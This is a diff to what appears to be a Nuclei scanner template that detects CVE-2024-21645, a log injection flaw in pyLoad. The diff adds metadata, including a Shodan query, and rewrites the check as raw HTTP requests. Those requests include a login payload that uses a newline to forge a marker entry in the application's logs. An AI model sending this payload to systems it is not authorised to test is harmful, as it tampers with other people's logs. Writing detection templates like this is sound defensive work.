authenticated format

http/cves/2024/CVE-2024-21645.yaml

@@ -11,44 +11,51 @@ info:
   reference:
     - https://github.com/advisories/GHSA-ghmw-rwh8-6qmr
     - https://nvd.nist.gov/vuln/detail/CVE-2024-21645
+    - https://github.com/fkie-cad/nvd-json-data-feeds
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
     cvss-score: 5.3
     cve-id: CVE-2024-21645
     cwe-id: CWE-74
-  tags: cve,cve2024,pyload,unauth,logs,injection
+    epss-score: 0.00046
+    epss-percentile: 0.13723
+    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    vendor: pyload
+    product: pyload
+    shodan-query: title:"pyload"
+  tags: cve,cve2024,pyload,authenticated,injection
+
+variables:
+  str: "{{rand_base(6)}}"
 
 http:
-  - method: POST
-    path:
-      - "{{RootURL}}/login?next={{RootURL}}/"
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      do=login&username={{randstr}}\'%0a[1970-01-01 00:00:00]  INJECTED               NUCLEI  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login
+  - raw:
+      - |
+        POST /login?next={{RootURL}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        do=login&username={{randstr}}\'%0a[1970-01-01 00:00:00]  INJECTED               {{str}}  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login
+
+      - |
+        POST /login?next={{RootURL}}/logs HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        do=login&username={{username}}&password={{password}}&submit=Login
 
-  - method: POST
-    path:
-      - "{{RootURL}}/login?next={{RootURL}}/logs"
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      do=login&username={{username}}&password={{password}}&submit=Login
     redirects: true
     max-redirects: 1
 
     matchers-condition: and
     matchers:
+      - type: word
+        part: body
+        words:
+          - '<td>1970-01-01 00:00:00</td><td class="loglevel">INJECTED</td><td class="logsource">{{str}}</td><td>THIS&nbsp;ENTRY&nbsp;HAS&nbsp;BEEN&nbsp;INJECTED&#39;</td>'
+
       - type: status
         status:
           - 200
-
-      - type: word
-        words:
-          - "text/html"
-        part: header
-
-      - type: word
-        words:
-          - "<td>1970-01-01 00:00:00</td><td class=\"loglevel\">INJECTED</td><td class=\"logsource\">NUCLEI</td><td>THIS&nbsp;ENTRY&nbsp;HAS&nbsp;BEEN&nbsp;INJECTED&#39;</td>"
-        part: body